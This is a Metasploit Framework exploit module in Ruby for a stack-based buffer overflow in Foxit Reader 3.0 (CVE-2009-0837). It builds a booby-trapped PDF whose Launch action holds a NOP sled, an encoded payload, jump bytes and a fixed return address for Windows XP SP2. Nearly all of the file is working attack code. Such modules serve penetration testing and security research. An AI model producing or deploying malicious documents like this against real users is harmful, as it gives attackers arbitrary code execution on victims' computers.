##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
    Due to the way Foxit Reader handles the input from an "Launch" action, it is possible
    to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code
    execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Francisco Falcon',  # Discovery
     'bannedit'           # Metasploit module
    ],
   'Version'        => '$Revision: 14069 $',
   'References'     =>
    [
     [ 'CVE' , '2009-0837' ],
     [ 'OSVDB', '55614' ],
     [ 'BID', '34035'],
     [ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Foxit Reader 3.0 Windows XP SP2', { 'Ret' =>  0x74d34d3f} ], # ebp + offset
    ],
   'DisclosureDate' => 'Mar 09 2009',
   'DefaultTarget'  => 0))

  register_options([
   OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
  ], self.class)

 end

 def exploit
  pdf = make_pdf
  file_create(pdf)
  handler
 end

 def make_pdf
  action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
  action << make_nops(321 - 5)                   # make_nops(21)
  action << payload.encoded
  action << "\xe9\xe8\xfb\xff\xff"               # Jmp back to the NOPs before the payload
  action << "\xeb\xf9" + make_nops(2)            # Jmp to the near jump
  action << [target.ret].pack('V')
  action << "\x92" * 16
  action << ")>>/NewWindow true>>"

  pdf =  "%PDF-1.4\n"
  pdf << "1 0 obj\n"
  pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
  pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
  pdf << "/Annots[ 24 0 R  25 0 R  9 0 R ]>>\n"
  pdf << "endobj\n"
  pdf << "4 0 obj\n"
  pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
  pdf << "endobj\n"
  pdf << "7 0 obj\n"
  pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
  pdf << "endobj\n"
  pdf << "9 0 obj\n"
  pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
  pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
  pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
  pdf << "endobj\n"
  pdf << "16 0 obj\n"
  pdf << action
  pdf << "endobj\n"
  pdf << "17 0 obj\n"
  pdf << "<</PV 16 0 R >>\n"
  pdf << "endobj\n"
  pdf << "trailer\n"
  pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
  pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
  pdf << "startxref\n"
  pdf << "0000\n"
  pdf << "%%EOF\n"
  pdf
 end
end